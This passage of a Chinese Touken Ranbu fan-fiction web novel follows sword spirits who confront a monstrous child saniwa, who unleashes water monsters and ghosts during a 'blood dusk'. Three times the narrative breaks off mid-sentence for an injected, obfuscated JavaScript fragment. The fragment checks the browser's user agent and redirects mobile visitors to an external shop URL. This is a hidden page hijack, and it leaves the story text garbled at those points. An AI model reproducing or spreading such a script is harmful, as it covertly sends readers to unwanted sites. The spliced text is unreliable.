“那是因为时之政府为各位大人设下了禁制,审神者是不能杀死刀剑付丧神的,不然,烛台切大人您可能早就已经碎刀了。”狐之助压低了声音,说:“这个本丸也可能要被审神者弄坏了。” 这一点烛台切无法反驳,他那个时候确实生命垂危,并且通过鹤丸的描述来看,当时的情形也很危急。 ——很难想象那样可爱的小小一只审神者能做到那种程度。 “上一次的血色黄昏大家运用自己的智慧平安度过了,在下已经听说了,是三日月大人和鹤丸打人的功劳呢。” 狐之助继续说:“今天就是第二次血色黄昏了,听时之政府大人说,上一次没有见血,这一次的黄昏可能会更为凶猛,在下带来了拔刀许可,在今天,各位付丧神大人可以对审神者拔刀。” 烛台切简直是倒吸一口凉气。 拔刀许可? 简直闻所未闻,时之政府怎么会做出这样奇怪的决策,审神者身体机能不完善,睡觉的时间比正常人要长很多,很明显是在修补自己的身体。 都已经给了她那么多的束缚,现在居然还允许她的付丧神对她刀剑相向? 狐之助连忙跳上他的肩膀,“这个许可只有在情况危急时才能使用,这也是为了本丸的各位大人着想,您也看到了,变异期的审神者力量强大,大人们也需要自保能力。” “……”烛台切只有四个字可以评价:“简直荒谬。” 先不说要对一个这么小的孩子拔刀,就光是对审神者拔刀这一行为会不会引起她的怒火都很难说。 现在审神者对大家的态度还算是友好的,可一旦付丧神们拿起刀对着她,不知道状况会变成什么样子。 人死不过头点地,但让人在不死的情况下把人折磨得生不如死,却有很多方法。 真的很荒谬,不管从什么角度来思考这件事情,都非常的荒谬。 狐之助眼见说不动烛台切,只能叹了口气,抬起头看向天空,说:“马上太阳就要落山了。” ——黄昏要来了。 14.一个副本 蔚蓝无云的天空一点一点染上橘红,宛如天幕的一角被火焰炙烤,逐渐发红发灰。 厨房里美食新鲜出炉,乱藤四郎和笑面青江以及山姥切国广都在帮忙端盘子,将一道道色相俱全的菜品送去会客厅,那里空间很大,可以将现存的所有付丧神全都容纳进去。 烛台切在厨房最忙的时候及时到场,本丸这才能在勉强在饭点之前围坐在长长的实木桌前。 “本丸好久没有这么热闹过了。”信浓藤四郎感叹道:“多亏了朝歌支撑本丸,我们才能做这么多好吃的。” “是呀是呀,今天我又去收了很多土豆呢!” “还有玉米!” “不仅是耕田里的植物长得很好,马草也是每一根都绿莹莹的充满了灵力,这几天把小云雀都吃胖了一圈。” 小短刀们七嘴八舌地凑在一起发出赞叹。 见过审神者的付丧神们没有参与对话,只不过脑袋中都不由自主地浮现出审神者可爱的模样,忍不住摸着下巴点头,表示十分赞同。 也有好几位付丧神们是没有见过审神者的,他们神色淡淡,并没有什么表示,他们对那个孩童不感兴趣,也不想与她深交,这些夸赞全当耳边的一缕风,吹过去了也就什么都消散了。 直到—— “如果可以的话,真想让朝歌留下来啊。” 不知道谁发出了这样的感叹。 这句话像是往平静的死水中投入了一块巨石,砸开了平静的湖面,将湖水砸得泛起层层巨浪。 髭切开口道:“真的吗?你们真想让审神者留下来?” 青年付丧神的嗓音似乎与平常无二样,语气也十分平静,但正是因为平静,才让所有人的情绪全都冷却下来,整个招待室也陷入了集体的沉默。 “如果依旧还有审神者,依旧还有本丸……”髭切说到这里一顿,脸上露出一个不合时宜的浅笑:“那,什么时候去接膝丸?” 加州清光放在膝盖上的拳头一紧。 粟田口的小短刀们背也微微佝偻着,没有了刚刚热火朝天的劲头。 面对髭切的问题,没有一个人回答,刚刚还心存美好幻想的付丧神们念头刚冒出来就被这盆冷水浇了下去,而剩下的付丧神本就赞同不留审神者,有髭切出头,他们更不会说话。 三日月宗近闭上眼睛,抬手喝了一杯茶,不紧不慢地说道:“审神者向往自由,即使我们提出,她也不一定会留下,这件事情不用再议。” “哎呀,审神者还只是个孩子呢,正是人类时期最需要接受新鲜事物的时候,困在我们这里哪行。”鹤丸国永笑道:“现在的小孩不都是要上学的吗?就别让我们耽误人家了。” 今剑双手环胸,鼓着腮帮子不满地说:“就不要再旧事重提了嘛,我的肚子饿了,可不可以吃饭了?” 烛台切光忠适时接话:“我去叫审神者一并下来吃饭吧。” 不愧是光坊,这配合没得说。 鹤丸国永暗自投去夸赞的眼神。 “今天朝歌能一起吗?”乱藤四郎欢呼一声:“好耶,朝歌能进食啦。” 宗三左文字并不配合,他缓缓开口:“为何……审神者突然会与我们一同用餐?” 和泉守兼定也点点头:“审神者迟迟没有露面,这都第几天了,现在这么说,目的也有些太明显了。” 鹤丸国永抵着下巴,脸上隐隐带着几分笑意,脑袋里已经成型了一个很不错的恶作剧,他说:“审神者是个害羞的孩子,和大家见面也需要先适应环境。不如这样吧,那个孩子你见一次就知道是怎样的人了,我们大家在这里七嘴八舌地容易影响你的判断,借此机会,你们去见一见审神者吧。” 宗三左文字与和泉守兼定对视一眼。 “见过才能准确地确认心意,不是吗?”鹤丸国永眯起眼睛笑道。 这些话不无道理,反正持反对意见付丧神觉得这个方法是可行的。 髭切直接站起来,白色的制服衣角擦过桌沿,碰歪了放在餐盘上的筷子。 他说:“既然如此,希望这位受欢迎的审神者不会让我太失望。” 说完这句话,青年付丧神径直走出会议室,夕阳将他的影子投射在纸门上。 所有人看着那道身影愈行愈远,影子也在几息后消失在视线中,会议室里没有人说话。又过了几秒,和泉守兼定也从位置上站起来,朝三日月宗近颔首:“那么,在下也失礼了。” 宗三左文字也礼貌道别,紧跟其后。 “唉。” 江雪左文字发出一声轻叹,闭上双眼,面色不喜不悲,看似没有任何情绪溢出,只有指骨分明的手在一颗一颗拨动着佛珠。 恐怕只有那天第一时间经历过异化审神者洗礼的几位付丧神知道,这个黄昏去找审神者是意味着什么,石切丸和歌仙对视一眼,烛台切也看向了鹤丸国永。 白山吉光收录完了所有对话,沉默了好一会儿后,才迅速起身,追了上去。 四位付丧神离开的很快,会议室空了一些,氛围反倒比刚刚要轻松许多,至少小短刀们敢小声互相交谈了。 烛台切是看出来了鹤丸想坑他们一把,但怎么说呢,审神者的奇妙确实是描述不来的,只有亲眼见证过才知道。 如果换做是平常,他是不会制止的,只是今天不同。 今天他刚得知了一个消息—— “狐之助说,时之政府已经为我们开通了拔刀许可。”烛台切对鹤丸说:“他们这样贸然前去,真的没问题吗?” 三日月宗近神色未变,反倒是鹤丸国永微微睁大了眼睛:“拔刀……许可?对谁拔刀的许可,审神者?” 烛台切点点头。 “坏了。”鹤丸国永立刻撑着地面起身,白色的衣角像是鹤张开的翅膀,飞一般地退了场。 三日月宗近放下茶杯,绀色的宽大袖口垂落在大腿边,杯底与桌面发出一声轻响,也让会议室里的议论声静了不少。 “无事。”他藏着新月的眼眸依旧带笑,语气温和:“我们可以先用餐,去找审神者的各位会晚些回来,不用担心。” 确实不用担心审神者,该担心的应该是这个时候去找审神者的付丧神。 石切丸端起高高堆起的饭碗,将圆润的山峰咬出了一个缺口。 话不多说,先吃为敬。 …… 另一边,借着越来越暗的夕阳,髭切、和泉守兼定和宗三左文字来到天守阁下。 今天的傍晚不知道为什么似乎格外阴沉,明明太阳还没有完全坠落。 天空中一侧悬挂着暗淡的太阳,另一侧则有月亮藏于云朵之后,橙红的阳光掺杂了月光的清冷,本应是温暖的颜色,却偏偏生出冷意。 面前的天守阁在审神者灵力的修复下,从破败的模样重新恢复了从前的恢弘。在这种令人心悸的冷意中,面前本该是本丸中最具安全感的建筑,反倒透露着一种阴森森的压迫感,没有关窗户的房间漆黑一片,凡是踏入其中的人,似乎都会被那种黑暗所吞噬。 髭切抬头看了一眼,压下心里隐隐泛起暗涌的不安,按住腰间的太刀,放轻脚步声,悄悄潜入上去。 和泉守兼定觉得只是去见审神者而已,不应该这样充满着戒备与敌意,虽然他也不想大家推翻自毁的计划,但他听加州清光说过了,审神者年幼,心性尚未成熟,还是个孩子。 他刚想叫住髭切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291278|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却被宗三左文字拦住。 那双蕴藏着忧愁的眼眸此时多了许多慎重,宗三左文字的身形比其他付丧神们看着更为纤细柔弱,可拦住他的动作却坚定果断,颇有身为刀的锐利。 和泉守兼定忍了忍,没有开口,而是选择安静地跟上去,配合地没有发出声响。 天守阁很安静,安静到不同寻常。 ……也许这又是寻常的,因为今晚所有的刀剑付丧神都聚集在会议室当中,这座巨大的建筑中,只有审神者一个人。 髭切上楼的速度很快,动作也很谨慎,他靠着墙,侧头往前探去观察前方。 走廊上十分空旷,此时天幕上的云彩已经从燃起的橘红色变成了燃尽后的碳灰色,其中夹杂着蓝与红,走廊无光,尽头连接着未知的黑暗。 突然,一抹明黄闯入视线中,髭切压下眉眼,仔细一看,居然是一只从来没有见过的狐之助。 小小一只的狐狸端坐在地板上,身后毛茸茸的尾巴轻轻摇摆着。似是察觉到髭切的视线,它侧头看来,视线相对时,它抬起前爪晃了晃,像是在打招呼。 这个本丸有很长时间没有配狐之助了。 哦,是新审神者的吧。 髭切很快想通,有新审神者就会有新的狐之助。 它在这里蹲着,还这么悠闲,应该代表着没有什么异常。 髭切走出墙后,来到狐之助身旁,也正是审神者房前。 “髭切大人来找审神者吗?”狐之助从地上跳到髭切的肩上,并说:“审神者就在房间里面。” 面前的门紧闭着,里面没有传出任何声响。 ……还是不对,太安静了。髭切没动。 和泉守兼定不满意髭切慢慢吞吞的,上前一把将纸门推开。 “啪。” 在短暂响起木框与木框相撞的一声后,四周又陷入了安静。 光线太暗,看不见房间里的所有东西。 所有。 一切如同真的被黑暗淹没。 就在这个时候,两个红色的圆形灯光十分突然地出现在黑暗中。 和泉守兼定还在奇怪审神者房间里怎么会有这么奇怪的两个红灯,却见那两个红灯如同没有接好电源一般,出现了一瞬间的闪烁。 “!” 髭切迅速将和泉守兼定带离门前,同时肩上的狐之助大喊道:“髭切殿下!拔刀!” 身体比大脑反应更快,在刀面横于面前时,汹涌的水柱从黑暗中爆发而出,两种力量相撞,髭切的刀身发出了嗡嗡的闷响。 他咬牙坚持。 和泉守兼定从地板上翻身而起,惊疑不定地看向水柱来处,“这究竟是什么……” “叮。” 有铃声发出一声脆响。 黑暗中的红灯露出全貌,那是一张过于白的脸,而脸却看不清五官,只能看见裂开的嘴,尖锐的牙,面容只能用混沌来形容。 而那两个红灯,竟是她的眼睛。 “来找我?” 她的声音是十分好听的,如同银铃清脆,又像泉水叮当,可在这种情况下,没有人会去夸赞她的嗓音,只能在这种莫名而来的恐惧与压迫下,僵直着防备的身体。 “哈哈哈哈哈,不敲门的……新玩具?” 有尖锐的笑声穿透大脑,直击精神,心脏开始莫名狂跳,连额头都渗满了汗水。 宗三左文字面色极差。 这是……审神者? 这是什么审神者? 谁家的审神者……是这个样子的? 可爱、不经世事、心性不成熟、孩童…… 他真该把说出这些形容词的付丧神拖去清理马粪。 15.一个副本 “莫非。” 髭切握紧了手里的刀,“你就是我们的审神者?” “嗯……到底是不是呢?” 我看着眼前的三位陌生付丧神,咧开嘴角,笑道:“眼生的面孔,我们是第一次见面吧?为何要对我举刀呢?” 说真心话,今天这场会面,我的态度已经算是温和了。 笑脸亲切,开门没有吓人,动手没有上杀招,可这几位付丧神并不领情,还对我很防备,甚至还暗藏着杀意。 想杀我的付丧神,这倒是有些稀奇了。 听狐之助说本丸和时之政府都有对审神者的保护约束,在与本丸建立联系后,他们似乎是无法伤到我的,而且也不会轻易产生杀我的念头。 “装神弄鬼。”髭切冷哼一声,抬手举刀,那双铂金色的眼眸满是厉色,刀尖指着我,杀意盎然:“你根本就不是审神者,大胆入侵者,居然敢潜入本丸,还敢冒充审神者!” 这位付丧神的语调自带韵律,听上去很是优雅,哪怕是在训斥,说话很凶,但听上去语调很舒服,骂人都很好听。 原本还在观望的和泉守兼定和宗三左文字齐齐拔出腰间的打刀,脚步慢慢靠近髭切,与他一起刀尖指向我。 我觉得他挺聪明的。 他见我没有承认,直接把我定为入侵者,如果忌惮我是审神者,其他两个人还可能不会帮忙,可一旦我是个坏蛋,是个威胁,他们就有了共同的敌人。 我眯起眼睛笑起来:“要来杀我吗?” “这就将你的首级取下。” 青年腿长,几步就来到了我面前,锐利的刀尖同时出现,直指眉心,也带来滔天的杀意与压迫。 气势倒是不错,这位确实有种“本身即为刀剑”的锋利感。 这便是刀剑的付丧神。 我兴奋到浑身战栗,他真的想要杀死我,我已经很久没有感觉到这种快感了。 “哈哈哈哈哈哈哈哈哈。” 狂暴状态的笑声尖锐,我有点控制不住我的情绪,水流如同触手一般自身后延伸而出,仅仅只是一击便将到眼前的髭切给拍飞出去。 紧接着另外两道刀光闪过,和泉守兼定和宗三左文字也到了,刚硬的水流软化成缎带,在触碰到两位付丧神时顺着手臂缠上他们的腰腹,将他们高高举起。 “哎呀呀,想取下我的首级……”我眯起眼睛笑道:“好像还早了一百年。” 被腰上的力道勒到脸色发白,宗三左文字紧紧握着刀柄,从牙缝里挤出声音:“这个孩子到底是什么来历……” “不知道,但这股力量好奇怪。”和泉守兼定想要将水流砍断,可没有形状的水流在砍出一道口子后立刻又会恢复原状,是真正的水的形态,无法出现缺口。 他蹙起眉头,在这种情况下的发力本就艰难,这种尝试并没有效果,反倒让他更难受了。 在乱舞的水流中,铂金色的付丧神突然出现,触手追着髭切乱跑,他的速度没有很快,完全不需要我自己动手,我微微抬起下巴,看着热闹,偶尔调笑一声: “加油加油哦,你的公主们还等着你来救呢。” “哎呀,你倒是快点呀。” “连这都砍不断吗?” “哈哈哈哈哈哈哈哈哈,你真是不行啊。” 髭切的动作并没有因为这些话受影响,他仍然以雷霆之势斩断水流,妄想接近我身边。 我打了个哈欠,余光看见楼下白山吉光正在往这里跑,身后不远处还跟着鹤丸国永,也正是这一分神,被髭切抓到机会,借着卷起的水幕为遮掩,自上而下,连同水幕一起砍了下来。 有水幕的阻挡,这一刀砍得有些偏了,刀伤原本会从我的锁骨一直下划砍断身体,但此时只划伤了我的手臂。 痛感慢一步传递到我的大脑,我抬起手,看到小臂上从伤口中渗出的鲜血,黑红的液体只是渗出,几乎没有怎么流动。 白山吉光赶到的时候,刀刃带出一连串血液,掉在地板上,下一秒融在了我身边的水中。 白山吉光的眼眸猛地睁大,下一秒髭切的身体从二楼被狠狠甩在地上,力道之大,光是摔下去,血液便在周身泼洒成放射性的半圈,嘴边溢出液体,铂金色的短发凌乱贴在脸侧,白色的制服上满是灰尘。 同伴的身体就倒在面前,鹤丸国永下意识停住脚步,蹲下去查看髭切的状况。 ……不容乐观,肋骨好像断了几根,脏器可别被肋骨戳出什么问题。 他抬头与我对视,我咧嘴露出一个笑容,修复了手臂上的伤口,然后移开了视线。 而白山吉光见我的伤口已经自己处理掉,于是迅速飞身下楼,来到髭切身边,先为髭切治疗致命伤。 “真是太无聊了。”我说。 即使已经给了机会,他也只能做到这种程度。 我颇为可惜地叹了口气:“还以为你们今天来找我,是想给我一些什么惊喜呢,结果就这样啊。” 说完,我周围的水柱落在地上,液体被捏成人形的模样,缓缓凝聚成一个个面容狰狞的怪物。 鹤丸国永顿时倒吸了一口凉气。 水流分走去了别处,和泉守兼定与宗三左文字总算能挣脱开禁锢着自己的液体,落在地板上后又跳下二楼,退到鹤丸国永身边去。 和泉守兼定难受得咳了一声,他捂住被勒到隐隐作痛的腰部,看着周围水流化形的怪物,久违感觉到了头痛,他问:“这些又是什么东西?” “不知道。”宗三左文字捏紧手里的刀:“那个入侵者居然还能创造出这些……” “什么入侵者,那是审神者啊。”鹤丸国永也觉得很头痛,他说:“你们怎么会砍伤审神者?不是来喊她吃饭的吗?” 拔刀许可的事情他们应该还不知道才对。 付丧神是不能伤害审神者的,审神者也清楚她的伤害对付丧神没用,这两方怎么会打起来呢? 这时,鹤丸国永看见了躲在树上的狐之助。 ……好了,破案了,肯定是狐之助告知的。 什么意思,时之政府故意的? “鹤丸殿下!” 宗三左文字的声音打断了鹤丸国永的思考,有一只怪物已经靠近了他,并且正对着他张大嘴巴,露出了牙齿。 “吼——” 一股海腥味从怪物的嘴里蔓延出来,鹤丸国永闭上眼睛,他甚至感觉自己头发上都是怪物嘴里的口水。 这也太……是个惊吓了。 周围的怪物一个个发出咆哮,高大健壮的身体鼓满了肌肉,皮肤是深蓝色的,耳侧长着蓝色的鳍,尖锐的牙齿占据了脸上大部分位置,基本看不见眼睛。他们的指甲尖锐,脚掌为蹼,手上还拿着三叉戟,咆哮声不大,却每一声都是精神污染。 我坐在栏杆上,抬手看了看指尖由凤仙花染成的红色,看够了,手一挥,声音愉悦:“海妖,陪他们玩玩。” 尖锐的牙齿猛然合上,鹤丸国永反应及时,堪堪躲过了海妖的撕咬。 白山吉光稳住了髭切的伤口,立刻抬头看我,单膝跪地,扬声道:“主人!请别生气,这次确实是髭切殿下先动手不对!等明天髭切殿下醒来,相信他会为自己的冲动来向您请罪!” 我摇摇头,张狂地发出笑声,身体往后一仰,整个人没入黑暗之中。 罪,什么罪? 我的世界里可没有罪。 …… 海妖不止在天守阁附近出现,会议室周围也有奇怪的东西靠近,来者的脚步声沉重,偶尔还伴随着沉重的喘息声。 这动静,并非常人。 三日月宗近拖着碗底的手一顿,在察觉的同时放下了手里的餐具,并竖起食指,示意大家安静下来。 短刀们比三日月更先发现房间外的异样,可这里是本丸,有特定的坐标和结界,如果不是时之政府允许, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296108|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会有其他东西会出现在这里呢? 药研藤四郎简单安抚了一下弟弟们的情绪,自己压低重心,来到纸门旁,小心翼翼地朝外探头观察。 而这一眼,他与一对红灯般的眼睛差点零距离接触。 “……”药研藤四郎心脏骤停。 海妖:“吼——” 药研身后不远处的短刀们:“哇哇哇哇哇哇哇!!” “怪物啊!” “药研哥!!” 脆弱的纸门被一爪子掀翻,天花板上的电灯被砸坏,整个房间顿时陷入黑暗。 药研藤四郎狼狈地滚出好几圈,最后才半跪在地上,防备地看向门口突然造访的“贵客。” 突袭这里的海妖不止一只,仔细看看,走廊上已经爬了两三只过来。 他们有着如同时间溯行军一般的体格,比岩融都高上一些,嘴里咆哮着,露出尖锐的牙齿和细长的舌头,手里拿着三叉戟,像是从书里跑出来的凶兽。 秋田藤四郎害怕地抓住了身边前田藤四郎的袖子,声音中带着哭腔:“那、那是什么?” “我记得仓库里有一本山海经。”乱藤四郎不可思议地捂着脸颊:“难道是接受了朝歌的灵力之后,山海经也成付丧神了?” 信浓藤四郎第一个反驳:“怎么可能!山海经里面也有长得很好看的妖怪,山海经付丧神怎么可能会长这么丑!” 海妖:“吼!!!!!!” 短刀们更是缩成一团:“哇!!他生气了!信浓你快别说他们坏话了!” “现在最要紧的是要解决这些怪物。”药研藤四郎下意识想握住腰间的短刀,在摸了个空后,才想起来晚上说是聚餐,他没带刀。 加州清光带了,他当机立断拔出打刀对上海妖,并说:“快回去拿刀,这里先由我们来对付。” “没错。”石切丸严肃说道:“清光、光忠、厚藤,你们穿的是出阵服对吧?加油,坚持到我们来支援。” 加州清光:“……石切丸殿下,别对着墙角说话。” “这些小事怎样都好,坚持住,我们马上就来!”岩融迅速从地上站起来,只是这一下站的有点猛,房间里太黑也看不见房顶,脑袋直接就撞到了天花板上,痛得他抱头蹲下:“疼疼疼……” 今剑:“……薙刀还是别参加室内战和夜战了。” 加州清光:“大太刀也是。” “哈哈哈哈。”三日月宗近在氛围最紧张的时候和蔼笑道:“真是越急越乱啊,哈哈哈。” 烛台切参加夜晚的室内战也很吃力,他扶额道:“三日月殿下,这个时候就少说几句吧。” 在大家乱成一锅粥的时候,一只体型小一些的海妖突然靠近,并跳到了短刀们的面前。 那双红灯般的眼睛贴在五虎退的脸上,将本就胆小的小短刀吓得大脑一片空白。 没反应过来,五虎退身边的老虎先一步与海妖撕咬在了一起,老虎的毛四处乱飞,海妖的鱼鳞也混在虎毛中间,如同纷飞的蒲同英和落下的雨点。 五虎退被刚刚的跳脸吓得有些腿软,他缓过神来,后怕的情绪让他眼睛里渗出泪水。 在打成一团的一虎一鱼前,五虎退仰头大哭。 “呜哇哇哇哇哇呜呜呜……好、好可怕呜呜呜呜呜呜……” 一个哭声引起了连锁反应。 胆子也很小的秋田藤四郎抽泣了两声,也跟着一起哭出来:“哇——好可怕——呜呜呜呜呜——” 三日月宗近:“哦呀,竟然让本丸里的小孩子受到了惊吓,这可不行,虽然是个老爷爷,但该保护小辈的时候,我也是会出手的哦。” 加州清光:“……三日月殿下,请您别添乱了。” 周所周知,今天敢派太刀室内夜战,明天就得给太刀在手入室安排个床位。 大太刀,薙刀同理。 这几位殿下什么时候能有点自知之明? 16.一个副本 夜晚的本丸乱作一团,到处都是被海妖追着跑的付丧神。 原本在拿到了刀的情况下,身经百战的刀剑应该不会这样狼狈才对。 可事实却是,本丸的电力系统不知道为什么出了问题,整个本丸漆黑一片,所有的灯全都坏了。 太刀、大太刀和薙刀在这种环境下较为弱势,更别说他们被追着跑,其实根本连刀都没拿到,只有短刀和部分打刀在奋力抵抗。 势力稍显单薄。 加州清光持刀苦苦支撑着。 海妖的手掌很大,手指也很尖锐,力气也强的离谱,光是防御就已经很费力了,他只能勉强出声:“三日月殿下……这些东西到底是……” 三日月宗近就在不远处,他手里没刀,身形却是足够轻盈,面对海妖的三叉戟和利爪,居然躲闪地游刃有余。 “恐怕是审神者大人生气了吧。” 长相俊美的青年付丧神侧身躲开砸下来的三叉戟,余光看向远处又被海妖吓到的小短刀,忍不住笑道:“哈哈哈哈,真是让人吓一跳的实力啊。” 加州清光将三叉戟挡回去,喘口气,无力道:“三日月殿下,现在可不是笑的时候。” “啊啊啊啊!救命——”被海妖追着乱跑的包丁藤四郎路过。 加州清光连忙追上去帮忙:“等等!包丁!” 三日月宗近侧目,提醒道:“啊,平野,你的身后。” 平野藤四郎原本还在和面前的海妖僵持,突然听见三日月的提醒,眼神凌厉地回头一看,正对上一双红灯一般的眼睛。 平野藤四郎:“……” 海妖直接长大嘴巴咆哮:“吼!!!” 平野:“!” 平野:“呜哇——!!” 小短刀真是被狠狠吓了一跳。 不是,这谁顶得住! 它直接就跳到脸上来了啊! 面对时间溯行军也不过是和一堆骷髅架子厮杀而已,和这些海妖战斗才是真真正正的折磨啊! 歌仙兼定帮平野将海妖赶走,见海妖们依旧如此活跃,心里不免有些担忧:“不知道天守阁那边情况怎么样了……” 去找审神者的那四位付丧神迟迟没有赶回来,这些由审神者创造出来的怪物也依旧在暴乱。 也许那里也在经历激烈的战斗,也许他们已经遭遇不测,不论是哪种猜测,似乎都在证明,审神者又想像上次一样,把本丸毁掉。 ……这几天不是都相处得好好的吗?为什么突然又暴动了呢? 歌仙兼定面容忧愁,手下刀法却干脆利落。 “僵持在这里不是个办法。”烛台切光忠面对的海妖被今剑一刀砍下头颅,他也得以有喘息的机会:“……要找到审神者。” “确实如此。”三日月宗近点点头,提议道:“青江,山姥切,麻烦你们一同前往。” 笑面青江和山姥切国广当机立断放弃眼下的战斗,为烛台切、歌仙、石切丸和江雪左文字开拓出一条通往天守阁的路。 “越靠近天守阁,这些怪物肯定越多。”三日月说:“阁下务必小心。” 烛台切点点头,加快速度,跟在胁差付丧神的身后。 而这几位付丧神一离开,不知道是不是错觉,三日月宗近隐隐觉得这附近的海妖都少了几只。 短刀们面对敌人越战越勇,拿出了和时间溯行军战斗的本能,气势瞬间反压敌人一筹。 这是…… 三日月宗近无奈地摇摇头。 审神者怕是还没玩够啊。 …… 以笑面青江为首的六位付丧神以最快的速度赶向天守阁,这段路畅通无阻,一只海妖都没有。 这样看来海妖并不是入侵了本丸的每一个角落,只是针对天守阁和会客厅这两个有付丧神在的地方。 从会客厅到天守阁的这段路会经过古备前刀派的房间,直接穿过去是路程最短的捷径。 几人交换了一个眼神,不需要言语交流,他们便默契地一头扎进了建筑中。 而在闯入房屋的那一瞬间,所有人都停下了脚步。 笑面青江很少有面色这么凝重的时候,他挡在所有人面前,异色的眼眸细细观察着周围。 他的视线扫过走廊左侧,原本他还什么都没看见,等意识到不对时,才发现那里蹲着一个人。 不,不是蹲着,准确来说她是趴在地上的。 她一头黑色的长发如同海草,浑身皮肤白的发青,就半趴在走廊尽头,无神的眼睛盯着这边。 “回不去了……” “啪嗒。” 她用手往前一步一步爬行,残缺的身体在地板上带出一条血痕。 “谁……” “帮帮我……我的腿……” 歌仙兼定:“!” 笑面青江也是倒吸一口凉气,他勉强露出一个充斥着痛苦的笑,调侃道:“审神者的趣味还真是高级啊。好了,为了不耽误时间,谁要留下来对付这位……” 话没说完,除他之外的五位付丧神都同时往后退了一步。 笑面青江笑容更苦涩了:“果然是我吗。” 好吧。 不管了。 他缓缓深吸一口气,摆好架势,压低地盘:“放马过来吧。” “辛苦你了青江。” “我们不会忘记你的贡献的,青江。” “保重。” “你的音容相貌会永远存在与我们的脑海中的。” “你可以的,青江。” 付丧神们一个一个从他身后通过,并留下了暖心的鼓励。 笑面青江面对在地上朝他爬行而来的无腿女人,额头上深处冷汗。 没有时间为同伴的奉献感动,付丧神们们接下来还要走一段路。 空荡的房间像是一张张张开的巨口,里面的黑暗和只能依靠月光才能看清的走廊,自带着一种令人不安的压抑。 他们不敢用跑的,小心翼翼地前进着,生怕不知道哪里又冒出什么吓人的东西。 走廊上只有五个人微弱的脚步声。 “哒。” 突然,有几滴冰冷的水柱从房梁上坠落,一滴砸在地板上发出响声,一滴砸在歌仙兼定的手背上。 歌仙兼定感受到凉意,抬手看了一眼,却见那滴水在手背上迅速由透明转向鲜红,然后像是扩散什么病毒一样,在手背上慢慢蔓延。 歌仙兼定发出一声惊呼,立刻就想把那滴水渍给甩掉,可当他发现那抹红色还残存在手背后,他慌忙跑进一旁的厕所,打开水龙头,用清水搓洗着手上的皮肤。 万幸的是,红色水珠溶于清水,清洗的过程很轻松。 可当歌仙兼定松了一口气,抬起头时,他却发现镜子里的自己,居然一直在面无表情地盯着自己看。 歌仙兼定:“……” 卧—— 没等他爆出一句不风雅的惊叹,镜子里的歌仙兼定嘴角高高裂开,他的手伸出镜面,抱住歌仙的头,将他往水池中按去。 洗手池没有水,可在歌仙兼定脑袋被鬼怪按进水池中时,池中突然就溢满了液体,无孔不入地往歌仙兼定的鼻子嘴巴里灌着。 “歌仙!”烛台切连忙拔出太刀,想一刀将镜子里歌仙兼定的手砍断,镜子里的怪物先一步冒出章鱼的触手,将烛台切的手和腰卷起来,并高高举起。 抓住两个付丧神也只是一瞬间的事,石切丸看得心惊胆战,他连忙从袖子里掏出御币,一边朝镜子撒盐一边挥舞御币退魔:“恶灵退散!恶灵退散!” 山姥切国广:“这、这样退魔吗……” 结果当然是没用的,歌仙兼定依旧无法呼吸,挣扎的动作正在变小。 山姥切面色苍白地看了看石切丸,又看了看烛台切光忠,最后看向歌仙兼定。 也许是笑面青江给的勇气,山姥切国广稳下心神,高举起打刀,喊道:“妖怪!放开歌仙!!” 他要和这些妖魔鬼怪拼了!! 啊啊啊啊啊——! 青年付丧神的怒吼声从远处传来,惊起了树木上栖息的几只鸟儿,也惊动了天上的几朵云。 留在会议厅附近拦住海妖的付丧神们同时抬起头,朝天守阁的方向看去。 怎么回事? 刚刚的声音……好像是山姥切的。 还是第一次听山姥切喊得这么大声,声音传达到这里已经听的不是很真切了,但依稀通过音节可以拼凑出歌仙的名字。 难道是歌仙遇到了什么危险? ……派去天守阁寻找审神者的同伴们还好吗? 小短刀们不由露出了担忧的表情。 三日月宗近听到山姥切的声音,隐隐猜测那一小队可能已经遭遇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯……”他思考许久,突然想到什么,笑着俯下身,抬手放在我的头顶,动作很轻,也并不会让我感到压迫。 三日月宗近的语调和髭切一样好听,而他表情和蔼慈善,很容易让人心生好感。 他温声说:“今天朝歌大人打扮的很漂亮,而且也是难得的日子,我们做了很多美食等你一起。” “时间有限,朝歌大人玩够了,就和我们一起回去吃饭吧?” 好像从来没有人这样和我说过话。 我的眼中倒映着三日月此时温柔的模样,青年付丧神长得好看,眉如墨画,目若秋波,面容的每一处都像是被精雕细琢出来的艺术品,精致得不似真人。 美人说的好话格外动听,我忽略抚摸着我脑袋的那只手,露出一个乖巧的笑容,应道:“好啊。” 话音落下,我身后凹陷下去好几个水坑。 有水柱从水坑中冲天而起,等到水柱落下后,十位刀剑付丧神的身影显现出来,皆是颇为狼狈的模样。 髭切已经脱离了重伤状态,捂着自己的胸口,半跪在地面轻轻喘着气;鹤丸国永以及和泉守兼定没受什么伤,只是衣服上多了许些灰尘;宗三左文字身形不稳地轻轻晃了晃,看上去还算是干净整洁。 